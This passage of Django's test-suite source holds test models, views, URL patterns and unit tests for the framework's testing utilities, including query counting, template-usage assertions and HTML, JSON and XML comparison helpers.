        FormSet = inlineformset_factory(ParentWithUUIDAlternateKey, ChildRelatedViaAK, fields='__all__')
        formset = FormSet()
        self.assertIsNone(formset.forms[0].fields['parent'].initial)






from django.test import TransactionTestCase, mock


class TestSerializedRollbackInhibitsPostMigrate(TransactionTestCase):
    """
    TransactionTestCase._fixture_teardown() inhibits the post_migrate signal
    for test classes with serialized_rollback=True.
    """
    available_apps = ['test_utils']
    serialized_rollback = True

    def setUp(self):
        # self.available_apps must be None to test the serialized_rollback
        # condition.
        self.available_apps = None

    def tearDown(self):
        self.available_apps = ['test_utils']

    @mock.patch('django.test.testcases.call_command')
    def test(self, call_command):
        # with a mocked call_command(), this doesn't have any effect.
        self._fixture_teardown()
        call_command.assert_called_with(
            'flush', interactive=False, allow_cascade=False,
            reset_sequences=False, inhibit_post_migrate=True,
            database='default', verbosity=0,
        )






from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Car(models.Model):
    name = models.CharField(max_length=100)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Person(models.Model):
    name = models.CharField(max_length=100)
    cars = models.ManyToManyField(Car, through='PossessedCar')

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class PossessedCar(models.Model):
    car = models.ForeignKey(Car, models.CASCADE)
    belongs_to = models.ForeignKey(Person, models.CASCADE)

    def __str__(self):
        return self.color






from django.http import HttpResponse
from django.shortcuts import get_object_or_404
from django.template import Context, Template

from .models import Person


def get_person(request, pk):
    person = get_object_or_404(Person, pk=pk)
    return HttpResponse(person.name)


def no_template_used(request):
    template = Template("This is a string-based template")
    return HttpResponse(template.render(Context({})))


def empty_response(request):
    return HttpResponse('')






from django.conf.urls import url

from . import views

urlpatterns = [
    url(r'^test_utils/get_person/([0-9]+)/$', views.get_person),
    url(r'^test_utils/no_template_used/$', views.no_template_used),
]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import sys
import unittest
import warnings

from django.conf.urls import url
from django.contrib.staticfiles.finders import get_finder, get_finders
from django.contrib.staticfiles.storage import staticfiles_storage
from django.core.files.storage import default_storage
from django.db import connection, models, router
from django.forms import EmailField, IntegerField
from django.http import HttpResponse
from django.template.loader import render_to_string
from django.test import (
    SimpleTestCase, TestCase, ignore_warnings, skipIfDBFeature,
    skipUnlessDBFeature,
)
from django.test.html import HTMLParseError, parse_html
from django.test.utils import (
    CaptureQueriesContext, isolate_apps, override_settings,
    setup_test_environment,
)
from django.urls import NoReverseMatch, reverse
from django.utils import six
from django.utils._os import abspathu
from django.utils.deprecation import RemovedInDjango20Warning

from .models import Car, Person, PossessedCar
from .views import empty_response


class SkippingTestCase(SimpleTestCase):
    def _assert_skipping(self, func, expected_exc):
        # We cannot simply use assertRaises because a SkipTest exception will go unnoticed
        try:
            func()
        except expected_exc:
            pass
        except Exception as e:
            self.fail("No %s exception should have been raised for %s." % (
                e.__class__.__name__, func.__name__))

    def test_skip_unless_db_feature(self):
        """
        Testing the django.test.skipUnlessDBFeature decorator.
        """
        # Total hack, but it works, just want an attribute that's always true.
        @skipUnlessDBFeature("__class__")
        def test_func():
            raise ValueError

        @skipUnlessDBFeature("notprovided")
        def test_func2():
            raise ValueError

        @skipUnlessDBFeature("__class__", "__class__")
        def test_func3():
            raise ValueError

        @skipUnlessDBFeature("__class__", "notprovided")
        def test_func4():
            raise ValueError

        self._assert_skipping(test_func, ValueError)
        self._assert_skipping(test_func2, unittest.SkipTest)
        self._assert_skipping(test_func3, ValueError)
        self._assert_skipping(test_func4, unittest.SkipTest)

    def test_skip_if_db_feature(self):
        """
        Testing the django.test.skipIfDBFeature decorator.
        """
        @skipIfDBFeature("__class__")
        def test_func():
            raise ValueError

        @skipIfDBFeature("notprovided")
        def test_func2():
            raise ValueError

        @skipIfDBFeature("__class__", "__class__")
        def test_func3():
            raise ValueError

        @skipIfDBFeature("__class__", "notprovided")
        def test_func4():
            raise ValueError

        @skipIfDBFeature("notprovided", "notprovided")
        def test_func5():
            raise ValueError

        self._assert_skipping(test_func, unittest.SkipTest)
        self._assert_skipping(test_func2, ValueError)
        self._assert_skipping(test_func3, unittest.SkipTest)
        self._assert_skipping(test_func4, unittest.SkipTest)
        self._assert_skipping(test_func5, ValueError)


class SkippingClassTestCase(SimpleTestCase):
    def test_skip_class_unless_db_feature(self):
        @skipUnlessDBFeature("__class__")
        class NotSkippedTests(unittest.TestCase):
            def test_dummy(self):
                return

        @skipIfDBFeature("__class__")
        class SkippedTests(unittest.TestCase):
            def test_will_be_skipped(self):
                self.fail("We should never arrive here.")

        test_suite = unittest.TestSuite()
        test_suite.addTest(NotSkippedTests('test_dummy'))
        try:
            test_suite.addTest(SkippedTests('test_will_be_skipped'))
        except unittest.SkipTest:
            self.fail("SkipTest should not be raised at this stage")
        result = unittest.TextTestRunner(stream=six.StringIO()).run(test_suite)
        self.assertEqual(result.testsRun, 2)
        self.assertEqual(len(result.skipped), 1)


@override_settings(ROOT_URLCONF='test_utils.urls')
class AssertNumQueriesTests(TestCase):

    def test_assert_num_queries(self):
        def test_func():
            raise ValueError

        with self.assertRaises(ValueError):
            self.assertNumQueries(2, test_func)

    def test_assert_num_queries_with_client(self):
        person = Person.objects.create(name='test')

        self.assertNumQueries(
            1,
            self.client.get,
            "/test_utils/get_person/%s/" % person.pk
        )

        self.assertNumQueries(
            1,
            self.client.get,
            "/test_utils/get_person/%s/" % person.pk
        )

        def test_func():
            self.client.get("/test_utils/get_person/%s/" % person.pk)
            self.client.get("/test_utils/get_person/%s/" % person.pk)
        self.assertNumQueries(2, test_func)


class AssertQuerysetEqualTests(TestCase):
    def setUp(self):
        self.p1 = Person.objects.create(name='p1')
        self.p2 = Person.objects.create(name='p2')

    def test_ordered(self):
        self.assertQuerysetEqual(
            Person.objects.all().order_by('name'),
            [repr(self.p1), repr(self.p2)]
        )

    def test_unordered(self):
        self.assertQuerysetEqual(
            Person.objects.all().order_by('name'),
            [repr(self.p2), repr(self.p1)],
            ordered=False
        )

    def test_transform(self):
        self.assertQuerysetEqual(
            Person.objects.all().order_by('name'),
            [self.p1.pk, self.p2.pk],
            transform=lambda x: x.pk
        )

    def test_undefined_order(self):
        # Using an unordered queryset with more than one ordered value
        # is an error.
        with self.assertRaises(ValueError):
            self.assertQuerysetEqual(
                Person.objects.all(),
                [repr(self.p1), repr(self.p2)]
            )
        # No error for one value.
        self.assertQuerysetEqual(
            Person.objects.filter(name='p1'),
            [repr(self.p1)]
        )

    def test_repeated_values(self):
        """
        Test that assertQuerysetEqual checks the number of appearance of each item
        when used with option ordered=False.
        """
        batmobile = Car.objects.create(name='Batmobile')
        k2000 = Car.objects.create(name='K 2000')
        PossessedCar.objects.bulk_create([
            PossessedCar(car=batmobile, belongs_to=self.p1),
            PossessedCar(car=batmobile, belongs_to=self.p1),
            PossessedCar(car=k2000, belongs_to=self.p1),
            PossessedCar(car=k2000, belongs_to=self.p1),
            PossessedCar(car=k2000, belongs_to=self.p1),
            PossessedCar(car=k2000, belongs_to=self.p1),
        ])
        with self.assertRaises(AssertionError):
            self.assertQuerysetEqual(
                self.p1.cars.all(),
                [repr(batmobile), repr(k2000)],
                ordered=False
            )
        self.assertQuerysetEqual(
            self.p1.cars.all(),
            [repr(batmobile)] * 2 + [repr(k2000)] * 4,
            ordered=False
        )


@override_settings(ROOT_URLCONF='test_utils.urls')
class CaptureQueriesContextManagerTests(TestCase):

    def setUp(self):
        self.person_pk = six.text_type(Person.objects.create(name='test').pk)

    def test_simple(self):
        with CaptureQueriesContext(connection) as captured_queries:
            Person.objects.get(pk=self.person_pk)
        self.assertEqual(len(captured_queries), 1)
        self.assertIn(self.person_pk, captured_queries[0]['sql'])

        with CaptureQueriesContext(connection) as captured_queries:
            pass
        self.assertEqual(0, len(captured_queries))

    def test_within(self):
        with CaptureQueriesContext(connection) as captured_queries:
            Person.objects.get(pk=self.person_pk)
            self.assertEqual(len(captured_queries), 1)
            self.assertIn(self.person_pk, captured_queries[0]['sql'])

    def test_nested(self):
        with CaptureQueriesContext(connection) as captured_queries:
            Person.objects.count()
            with CaptureQueriesContext(connection) as nested_captured_queries:
                Person.objects.count()
        self.assertEqual(1, len(nested_captured_queries))
        self.assertEqual(2, len(captured_queries))

    def test_failure(self):
        with self.assertRaises(TypeError):
            with CaptureQueriesContext(connection):
                raise TypeError

    def test_with_client(self):
        with CaptureQueriesContext(connection) as captured_queries:
            self.client.get("/test_utils/get_person/%s/" % self.person_pk)
        self.assertEqual(len(captured_queries), 1)
        self.assertIn(self.person_pk, captured_queries[0]['sql'])

        with CaptureQueriesContext(connection) as captured_queries:
            self.client.get("/test_utils/get_person/%s/" % self.person_pk)
        self.assertEqual(len(captured_queries), 1)
        self.assertIn(self.person_pk, captured_queries[0]['sql'])

        with CaptureQueriesContext(connection) as captured_queries:
            self.client.get("/test_utils/get_person/%s/" % self.person_pk)
            self.client.get("/test_utils/get_person/%s/" % self.person_pk)
        self.assertEqual(len(captured_queries), 2)
        self.assertIn(self.person_pk, captured_queries[0]['sql'])
        self.assertIn(self.person_pk, captured_queries[1]['sql'])


@override_settings(ROOT_URLCONF='test_utils.urls')
class AssertNumQueriesContextManagerTests(TestCase):

    def test_simple(self):
        with self.assertNumQueries(0):
            pass

        with self.assertNumQueries(1):
            Person.objects.count()

        with self.assertNumQueries(2):
            Person.objects.count()
            Person.objects.count()

    def test_failure(self):
        with self.assertRaises(AssertionError) as exc_info:
            with self.assertNumQueries(2):
                Person.objects.count()
        self.assertIn("1 queries executed, 2 expected", str(exc_info.exception))
        self.assertIn("Captured queries were", str(exc_info.exception))

        with self.assertRaises(TypeError):
            with self.assertNumQueries(4000):
                raise TypeError

    def test_with_client(self):
        person = Person.objects.create(name="test")

        with self.assertNumQueries(1):
            self.client.get("/test_utils/get_person/%s/" % person.pk)

        with self.assertNumQueries(1):
            self.client.get("/test_utils/get_person/%s/" % person.pk)

        with self.assertNumQueries(2):
            self.client.get("/test_utils/get_person/%s/" % person.pk)
            self.client.get("/test_utils/get_person/%s/" % person.pk)


@override_settings(ROOT_URLCONF='test_utils.urls')
class AssertTemplateUsedContextManagerTests(SimpleTestCase):

    def test_usage(self):
        with self.assertTemplateUsed('template_used/base.html'):
            render_to_string('template_used/base.html')

        with self.assertTemplateUsed(template_name='template_used/base.html'):
            render_to_string('template_used/base.html')

        with self.assertTemplateUsed('template_used/base.html'):
            render_to_string('template_used/include.html')

        with self.assertTemplateUsed('template_used/base.html'):
            render_to_string('template_used/extends.html')

        with self.assertTemplateUsed('template_used/base.html'):
            render_to_string('template_used/base.html')
            render_to_string('template_used/base.html')

    def test_nested_usage(self):
        with self.assertTemplateUsed('template_used/base.html'):
            with self.assertTemplateUsed('template_used/include.html'):
                render_to_string('template_used/include.html')

        with self.assertTemplateUsed('template_used/extends.html'):
            with self.assertTemplateUsed('template_used/base.html'):
                render_to_string('template_used/extends.html')

        with self.assertTemplateUsed('template_used/base.html'):
            with self.assertTemplateUsed('template_used/alternative.html'):
                render_to_string('template_used/alternative.html')
            render_to_string('template_used/base.html')

        with self.assertTemplateUsed('template_used/base.html'):
            render_to_string('template_used/extends.html')
            with self.assertTemplateNotUsed('template_used/base.html'):
                render_to_string('template_used/alternative.html')
            render_to_string('template_used/base.html')

    def test_not_used(self):
        with self.assertTemplateNotUsed('template_used/base.html'):
            pass
        with self.assertTemplateNotUsed('template_used/alternative.html'):
            pass

    def test_error_message(self):
        with six.assertRaisesRegex(self, AssertionError, r'^template_used/base\.html'):
            with self.assertTemplateUsed('template_used/base.html'):
                pass

        with six.assertRaisesRegex(self, AssertionError, r'^template_used/base\.html'):
            with self.assertTemplateUsed(template_name='template_used/base.html'):
                pass

        with six.assertRaisesRegex(
                self, AssertionError, r'^template_used/base\.html.*template_used/alternative\.html$'):
            with self.assertTemplateUsed('template_used/base.html'):
                render_to_string('template_used/alternative.html')

        with self.assertRaises(AssertionError) as cm:
            response = self.client.get('/test_utils/no_template_used/')
            self.assertTemplateUsed(response, 'template_used/base.html')
        self.assertEqual(cm.exception.args[0], "No templates used to render the response")

    def test_failure(self):
        with self.assertRaises(TypeError):
            with self.assertTemplateUsed():
                pass

        with self.assertRaises(AssertionError):
            with self.assertTemplateUsed(''):
                pass

        with self.assertRaises(AssertionError):
            with self.assertTemplateUsed(''):
                render_to_string('template_used/base.html')

        with self.assertRaises(AssertionError):
            with self.assertTemplateUsed(template_name=''):
                pass

        with self.assertRaises(AssertionError):
            with self.assertTemplateUsed('template_used/base.html'):
                render_to_string('template_used/alternative.html')

    def test_assert_used_on_http_response(self):
        response = HttpResponse()
        error_msg = (
            'assertTemplateUsed() and assertTemplateNotUsed() are only '
            'usable on responses fetched using the Django test Client.'
        )
        with self.assertRaisesMessage(ValueError, error_msg):
            self.assertTemplateUsed(response, 'template.html')

        with self.assertRaisesMessage(ValueError, error_msg):
            self.assertTemplateNotUsed(response, 'template.html')


class HTMLEqualTests(SimpleTestCase):
    def test_html_parser(self):
        element = parse_html('<div><p>Hello</p></div>')
        self.assertEqual(len(element.children), 1)
        self.assertEqual(element.children[0].name, 'p')
        self.assertEqual(element.children[0].children[0], 'Hello')

        parse_html('<p>')
        parse_html('<p attr>')
        dom = parse_html('<p>foo')
        self.assertEqual(len(dom.children), 1)
        self.assertEqual(dom.name, 'p')
        self.assertEqual(dom[0], 'foo')

    def test_parse_html_in_script(self):
        parse_html('<script>var a = "<p" + ">";</script>')
        parse_html('''
            <script>
            var js_sha_link='<p>***</p>';
            </script>
        ''')

        # script content will be parsed to text
        dom = parse_html('''
            <script><p>foo</p> '</scr'+'ipt>' <span>bar</span></script>
        ''')
        self.assertEqual(len(dom.children), 1)
        self.assertEqual(dom.children[0], "<p>foo</p> '</scr'+'ipt>' <span>bar</span>")

    def test_self_closing_tags(self):
        self_closing_tags = (
            'br', 'hr', 'input', 'img', 'meta', 'spacer', 'link', 'frame',
            'base', 'col',
        )
        for tag in self_closing_tags:
            dom = parse_html('<p>Hello <%s> world</p>' % tag)
            self.assertEqual(len(dom.children), 3)
            self.assertEqual(dom[0], 'Hello')
            self.assertEqual(dom[1].name, tag)
            self.assertEqual(dom[2], 'world')

            dom = parse_html('<p>Hello <%s /> world</p>' % tag)
            self.assertEqual(len(dom.children), 3)
            self.assertEqual(dom[0], 'Hello')
            self.assertEqual(dom[1].name, tag)
            self.assertEqual(dom[2], 'world')

    def test_simple_equal_html(self):
        self.assertHTMLEqual('', '')
        self.assertHTMLEqual('<p></p>', '<p></p>')
        self.assertHTMLEqual('<p></p>', ' <p> </p> ')
        self.assertHTMLEqual(
            '<div><p>Hello</p></div>',
            '<div><p>Hello</p></div>')
        self.assertHTMLEqual(
            '<div><p>Hello</p></div>',
            '<div> <p>Hello</p> </div>')
        self.assertHTMLEqual(
            '<div>\n<p>Hello</p></div>',
            '<div><p>Hello</p></div>\n')
        self.assertHTMLEqual(
            '<div><p>Hello\nWorld !</p></div>',
            '<div><p>Hello World\n!</p></div>')
        self.assertHTMLEqual(
            '<div><p>Hello\nWorld !</p></div>',
            '<div><p>Hello World\n!</p></div>')
        self.assertHTMLEqual(
            '<p>Hello  World   !</p>',
            '<p>Hello World\n\n!</p>')
        self.assertHTMLEqual('<p> </p>', '<p></p>')
        self.assertHTMLEqual('<p/>', '<p></p>')
        self.assertHTMLEqual('<p />', '<p></p>')
        self.assertHTMLEqual('<input checked>', '<input checked="checked">')
        self.assertHTMLEqual('<p>Hello', '<p> Hello')
        self.assertHTMLEqual('<p>Hello</p>World', '<p>Hello</p> World')

    def test_ignore_comments(self):
        self.assertHTMLEqual(
            '<div>Hello<!-- this is a comment --> World!</div>',
            '<div>Hello World!</div>')

    def test_unequal_html(self):
        self.assertHTMLNotEqual('<p>Hello</p>', '<p>Hello!</p>')
        self.assertHTMLNotEqual('<p>foo&#20;bar</p>', '<p>foo&nbsp;bar</p>')
        self.assertHTMLNotEqual('<p>foo bar</p>', '<p>foo &nbsp;bar</p>')
        self.assertHTMLNotEqual('<p>foo nbsp</p>', '<p>foo &nbsp;</p>')
        self.assertHTMLNotEqual('<p>foo #20</p>', '<p>foo &#20;</p>')
        self.assertHTMLNotEqual(
            '<p><span>Hello</span><span>World</span></p>',
            '<p><span>Hello</span>World</p>')
        self.assertHTMLNotEqual(
            '<p><span>Hello</span>World</p>',
            '<p><span>Hello</span><span>World</span></p>')

    def test_attributes(self):
        self.assertHTMLEqual(
            '<input type="text" id="id_name" />',
            '<input id="id_name" type="text" />')
        self.assertHTMLEqual(
            '''<input type='text' id="id_name" />''',
            '<input id="id_name" type="text" />')
        self.assertHTMLNotEqual(
            '<input type="text" id="id_name" />',
            '<input type="password" id="id_name" />')

    def test_complex_examples(self):
        self.assertHTMLEqual(
            """<tr><th><label for="id_first_name">First name:</label></th>
<td><input type="text" name="first_name" value="John" id="id_first_name" /></td></tr>
<tr><th><label for="id_last_name">Last name:</label></th>
<td><input type="text" id="id_last_name" name="last_name" value="Lennon" /></td></tr>
<tr><th><label for="id_birthday">Birthday:</label></th>
<td><input type="text" value="1940-10-9" name="birthday" id="id_birthday" /></td></tr>""",
            """
        <tr><th>
            <label for="id_first_name">First name:</label></th><td>
            <input type="text" name="first_name" value="John" id="id_first_name" />
        </td></tr>
        <tr><th>
            <label for="id_last_name">Last name:</label></th><td>
            <input type="text" name="last_name" value="Lennon" id="id_last_name" />
        </td></tr>
        <tr><th>
            <label for="id_birthday">Birthday:</label></th><td>
            <input type="text" name="birthday" value="1940-10-9" id="id_birthday" />
        </td></tr>
        """)

        self.assertHTMLEqual(
            """<!DOCTYPE html>
        <html>
        <head>
            <link rel="stylesheet">
            <title>Document</title>
            <meta attribute="value">
        </head>
        <body>
            <p>
            This is a valid paragraph
            <div> this is a div AFTER the p</div>
        </body>
        </html>""", """
        <html>
        <head>
            <link rel="stylesheet">
            <title>Document</title>
            <meta attribute="value">
        </head>
        <body>
            <p> This is a valid paragraph
            <!-- browsers would close the p tag here -->
            <div> this is a div AFTER the p</div>
            </p> <!-- this is invalid HTML parsing, but it should make no
            difference in most cases -->
        </body>
        </html>""")

    def test_html_contain(self):
        # equal html contains each other
        dom1 = parse_html('<p>foo')
        dom2 = parse_html('<p>foo</p>')
        self.assertIn(dom1, dom2)
        self.assertIn(dom2, dom1)

        dom2 = parse_html('<div><p>foo</p></div>')
        self.assertIn(dom1, dom2)
        self.assertNotIn(dom2, dom1)

        self.assertNotIn('<p>foo</p>', dom2)
        self.assertIn('foo', dom2)

        # when a root element is used ...
        dom1 = parse_html('<p>foo</p><p>bar</p>')
        dom2 = parse_html('<p>foo</p><p>bar</p>')
        self.assertIn(dom1, dom2)
        dom1 = parse_html('<p>foo</p>')
        self.assertIn(dom1, dom2)
        dom1 = parse_html('<p>bar</p>')
        self.assertIn(dom1, dom2)

    def test_count(self):
        # equal html contains each other one time
        dom1 = parse_html('<p>foo')
        dom2 = parse_html('<p>foo</p>')
        self.assertEqual(dom1.count(dom2), 1)
        self.assertEqual(dom2.count(dom1), 1)

        dom2 = parse_html('<p>foo</p><p>bar</p>')
        self.assertEqual(dom2.count(dom1), 1)

        dom2 = parse_html('<p>foo foo</p><p>foo</p>')
        self.assertEqual(dom2.count('foo'), 3)

        dom2 = parse_html('<p class="bar">foo</p>')
        self.assertEqual(dom2.count('bar'), 0)
        self.assertEqual(dom2.count('class'), 0)
        self.assertEqual(dom2.count('p'), 0)
        self.assertEqual(dom2.count('o'), 2)

        dom2 = parse_html('<p>foo</p><p>foo</p>')
        self.assertEqual(dom2.count(dom1), 2)

        dom2 = parse_html('<div><p>foo<input type=""></p><p>foo</p></div>')
        self.assertEqual(dom2.count(dom1), 1)

        dom2 = parse_html('<div><div><p>foo</p></div></div>')
        self.assertEqual(dom2.count(dom1), 1)

        dom2 = parse_html('<p>foo<p>foo</p></p>')
        self.assertEqual(dom2.count(dom1), 1)

        dom2 = parse_html('<p>foo<p>bar</p></p>')
        self.assertEqual(dom2.count(dom1), 0)

    def test_parsing_errors(self):
        with self.assertRaises(AssertionError):
            self.assertHTMLEqual('<p>', '')
        with self.assertRaises(AssertionError):
            self.assertHTMLEqual('', '<p>')
        error_msg = (
            "First argument is not valid HTML:\n"
            "('Unexpected end tag `div` (Line 1, Column 6)', (1, 6))"
        ) if sys.version_info >= (3, 5) else (
            "First argument is not valid HTML:\n"
            "Unexpected end tag `div` (Line 1, Column 6), at line 1, column 7"
        )
        with self.assertRaisesMessage(AssertionError, error_msg):
            self.assertHTMLEqual('< div></ div>', '<div></div>')
        with self.assertRaises(HTMLParseError):
            parse_html('</p>')

    def test_contains_html(self):
        response = HttpResponse('''<body>
        This is a form: <form action="" method="get">
            <input type="text" name="Hello" />
        </form></body>''')

        self.assertNotContains(response, "<input name='Hello' type='text'>")
        self.assertContains(response, '<form action="" method="get">')

        self.assertContains(response, "<input name='Hello' type='text'>", html=True)
        self.assertNotContains(response, '<form action="" method="get">', html=True)

        invalid_response = HttpResponse('''<body <bad>>''')

        with self.assertRaises(AssertionError):
            self.assertContains(invalid_response, '<p></p>')

        with self.assertRaises(AssertionError):
            self.assertContains(response, '<p "whats" that>')

    def test_unicode_handling(self):
        response = HttpResponse('<p class="help">Some help text for the title (with unicode ŠĐĆŽćžšđ)</p>')
        self.assertContains(
            response,
            '<p class="help">Some help text for the title (with unicode ŠĐĆŽćžšđ)</p>',
            html=True
        )


class JSONEqualTests(SimpleTestCase):
    def test_simple_equal(self):
        json1 = '{"attr1": "foo", "attr2":"baz"}'
        json2 = '{"attr1": "foo", "attr2":"baz"}'
        self.assertJSONEqual(json1, json2)

    def test_simple_equal_unordered(self):
        json1 = '{"attr1": "foo", "attr2":"baz"}'
        json2 = '{"attr2":"baz", "attr1": "foo"}'
        self.assertJSONEqual(json1, json2)

    def test_simple_equal_raise(self):
        json1 = '{"attr1": "foo", "attr2":"baz"}'
        json2 = '{"attr2":"baz"}'
        with self.assertRaises(AssertionError):
            self.assertJSONEqual(json1, json2)

    def test_equal_parsing_errors(self):
        invalid_json = '{"attr1": "foo, "attr2":"baz"}'
        valid_json = '{"attr1": "foo", "attr2":"baz"}'
        with self.assertRaises(AssertionError):
            self.assertJSONEqual(invalid_json, valid_json)
        with self.assertRaises(AssertionError):
            self.assertJSONEqual(valid_json, invalid_json)

    def test_simple_not_equal(self):
        json1 = '{"attr1": "foo", "attr2":"baz"}'
        json2 = '{"attr2":"baz"}'
        self.assertJSONNotEqual(json1, json2)

    def test_simple_not_equal_raise(self):
        json1 = '{"attr1": "foo", "attr2":"baz"}'
        json2 = '{"attr1": "foo", "attr2":"baz"}'
        with self.assertRaises(AssertionError):
            self.assertJSONNotEqual(json1, json2)

    def test_not_equal_parsing_errors(self):
        invalid_json = '{"attr1": "foo, "attr2":"baz"}'
        valid_json = '{"attr1": "foo", "attr2":"baz"}'
        with self.assertRaises(AssertionError):
            self.assertJSONNotEqual(invalid_json, valid_json)
        with self.assertRaises(AssertionError):
            self.assertJSONNotEqual(valid_json, invalid_json)


class XMLEqualTests(SimpleTestCase):
    def test_simple_equal(self):
        xml1 = "<elem attr1='a' attr2='b' />"
        xml2 = "<elem attr1='a' attr2='b' />"
        self.assertXMLEqual(xml1, xml2)

    def test_simple_equal_unordered(self):
        xml1 = "<elem attr1='a' attr2='b' />"
        xml2 = "<elem attr2='b' attr1='a' />"
        self.assertXMLEqual(xml1, xml2)

    def test_simple_equal_raise(self):
        xml1 = "<elem attr1='a' />"
        xml2 = "<elem attr2='b' attr1='a' />"
        with self.assertRaises(AssertionError):
            self.assertXMLEqual(xml1, xml2)

    def test_simple_equal_raises_message(self):
        xml1 = "<elem attr1='a' />"
        xml2 = "<elem attr2='b' attr1='a' />"

        msg = '''{xml1} != {xml2}
- <elem attr1='a' />
+ <elem attr2='b' attr1='a' />
?      ++++++++++
'''.format(xml1=repr(xml1), xml2=repr(xml2))

        with self.assertRaisesMessage(AssertionError, msg):
            self.assertXMLEqual(xml1, xml2)

    def test_simple_not_equal(self):
        xml1 = "<elem attr1='a' attr2='c' />"
        xml2 = "<elem attr1='a' attr2='b' />"
        self.assertXMLNotEqual(xml1, xml2)

    def test_simple_not_equal_raise(self):
        xml1 = "<elem attr1='a' attr2='b' />"
        xml2 = "<elem attr2='b' attr1='a' />"
        with self.assertRaises(AssertionError):
            self.assertXMLNotEqual(xml1, xml2)

    def test_parsing_errors(self):
        xml_unvalid = "<elem attr1='a attr2='b' />"
        xml2 = "<elem attr2='b' attr1='a' />"
        with self.assertRaises(AssertionError):
            self.assertXMLNotEqual(xml_unvalid, xml2)

    def test_comment_root(self):
        xml1 = "<?xml version='1.0'?><!-- comment1 --><elem attr1='a' attr2='b' />"
        xml2 = "<?xml version='1.0'?><!-- comment2 --><elem attr2='b' attr1='a' />"
        self.assertXMLEqual(xml1, xml2)

    def test_simple_equal_with_leading_or_trailing_whitespace(self):
        xml1 = "<elem>foo</elem> \t\n"
        xml2 = " \t\n<elem>foo</elem>"
        self.assertXMLEqual(xml1, xml2)

    def test_simple_not_equal_with_whitespace_in_the_middle(self):
        xml1 = "<elem>foo</elem><elem>bar</elem>"
        xml2 = "<elem>foo</elem> <elem>bar</elem>"
        self.assertXMLNotEqual(xml1, xml2)


class SkippingExtraTests(TestCase):
    fixtures = ['should_not_be_loaded.json']

    # HACK: This depends on internals of our TestCase subclasses
    def __call__(self, result=None):
        # Detect fixture loading by counting SQL queries, should be zero
        with self.assertNumQueries(0):
            super(SkippingExtraTests, self).__call__(result)

    @unittest.skip("Fixture loading should not be performed for skipped tests.")
    def test_fixtures_are_skipped(self):
        pass


class AssertRaisesMsgTest(SimpleTestCase):

    def test_assert_raises_message(self):
        msg = "'Expected message' not found in 'Unexpected message'"
        # context manager form of assertRaisesMessage()
        with self.assertRaisesMessage(AssertionError, msg):
            with self.assertRaisesMessage(ValueError, "Expected message"):
                raise ValueError("Unexpected message")

        # callable form
        def func():
            raise ValueError("Unexpected message")

        with self.assertRaisesMessage(AssertionError, msg):
            self.assertRaisesMessage(ValueError, "Expected message", func)

    def test_special_re_chars(self):
        """assertRaisesMessage shouldn't interpret RE special chars."""
        def func1():
            raise ValueError("[.*x+]y?")
        with self.assertRaisesMessage(ValueError, "[.*x+]y?"):
            func1()

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_callable_obj_param(self):
        # callable_obj was a documented kwarg in Django 1.8 and older.
        def func1():
            raise ValueError("[.*x+]y?")

        with warnings.catch_warnings(record=True) as warns:
            warnings.simplefilter('always')
            self.assertRaisesMessage(ValueError, "[.*x+]y?", callable_obj=func1)

        self.assertEqual(len(warns), 1)
        self.assertEqual(
            str(warns[0].message),
            'The callable_obj kwarg is deprecated. Pass the callable '
            'as a positional argument instead.'
        )


class AssertFieldOutputTests(SimpleTestCase):

    def test_assert_field_output(self):
        error_invalid = ['Enter a valid email address.']
        self.assertFieldOutput(EmailField, {'a@a.com': 'a@a.com'}, {'aaa': error_invalid})
        with self.assertRaises(AssertionError):
            self.assertFieldOutput(EmailField, {'a@a.com': 'a@a.com'}, {'aaa': error_invalid + ['Another error']})
        with self.assertRaises(AssertionError):
            self.assertFieldOutput(EmailField, {'a@a.com': 'Wrong output'}, {'aaa': error_invalid})
        with self.assertRaises(AssertionError):
            self.assertFieldOutput(
                EmailField, {'a@a.com': 'a@a.com'}, {'aaa': ['Come on, gimme some well formatted data, dude.']}
            )

    def test_custom_required_message(self):
        class MyCustomField(IntegerField):
            default_error_messages = {
                'required': 'This is really required.',
            }
        self.assertFieldOutput(MyCustomField, {}, {}, empty_value=None)


class FirstUrls:
    urlpatterns = [url(r'first/$', empty_response, name='first')]


class SecondUrls:
    urlpatterns = [url(r'second/$', empty_response, name='second')]


class SetupTestEnvironmentTests(SimpleTestCase):

    def test_setup_test_environment_calling_more_than_once(self):
        with self.assertRaisesMessage(RuntimeError, "setup_test_environment() was already called"):
            setup_test_environment()


class OverrideSettingsTests(SimpleTestCase):

    # #21518 -- If neither override_settings nor a setting_changed receiver
    # clears the URL cache between tests, then one of test_first or
    # test_second will fail.

    @override_settings(ROOT_URLCONF=FirstUrls)
    def test_urlconf_first(self):
        reverse('first')

    @override_settings(ROOT_URLCONF=SecondUrls)
    def test_urlconf_second(self):
        reverse('second')

    def test_urlconf_cache(self):
        with self.assertRaises(NoReverseMatch):
            reverse('first')
        with self.assertRaises(NoReverseMatch):
            reverse('second')

        with override_settings(ROOT_URLCONF=FirstUrls):
            self.client.get(reverse('first'))
            with self.assertRaises(NoReverseMatch):
                reverse('second')

            with override_settings(ROOT_URLCONF=SecondUrls):
                with self.assertRaises(NoReverseMatch):
                    reverse('first')
                self.client.get(reverse('second'))

            self.client.get(reverse('first'))
            with self.assertRaises(NoReverseMatch):
                reverse('second')

        with self.assertRaises(NoReverseMatch):
            reverse('first')
        with self.assertRaises(NoReverseMatch):
            reverse('second')

    def test_override_media_root(self):
        """
        Overriding the MEDIA_ROOT setting should be reflected in the
        base_location attribute of django.core.files.storage.default_storage.
        """
        self.assertEqual(default_storage.base_location, '')
        with self.settings(MEDIA_ROOT='test_value'):
            self.assertEqual(default_storage.base_location, 'test_value')

    def test_override_media_url(self):
        """
        Overriding the MEDIA_URL setting should be reflected in the
        base_url attribute of django.core.files.storage.default_storage.
        """
        self.assertEqual(default_storage.base_location, '')
        with self.settings(MEDIA_URL='/test_value/'):
            self.assertEqual(default_storage.base_url, '/test_value/')

    def test_override_file_upload_permissions(self):
        """
        Overriding the FILE_UPLOAD_PERMISSIONS setting should be reflected in
        the file_permissions_mode attribute of
        django.core.files.storage.default_storage.
        """
        self.assertIsNone(default_storage.file_permissions_mode)
        with self.settings(FILE_UPLOAD_PERMISSIONS=0o777):
            self.assertEqual(default_storage.file_permissions_mode, 0o777)

    def test_override_file_upload_directory_permissions(self):
        """
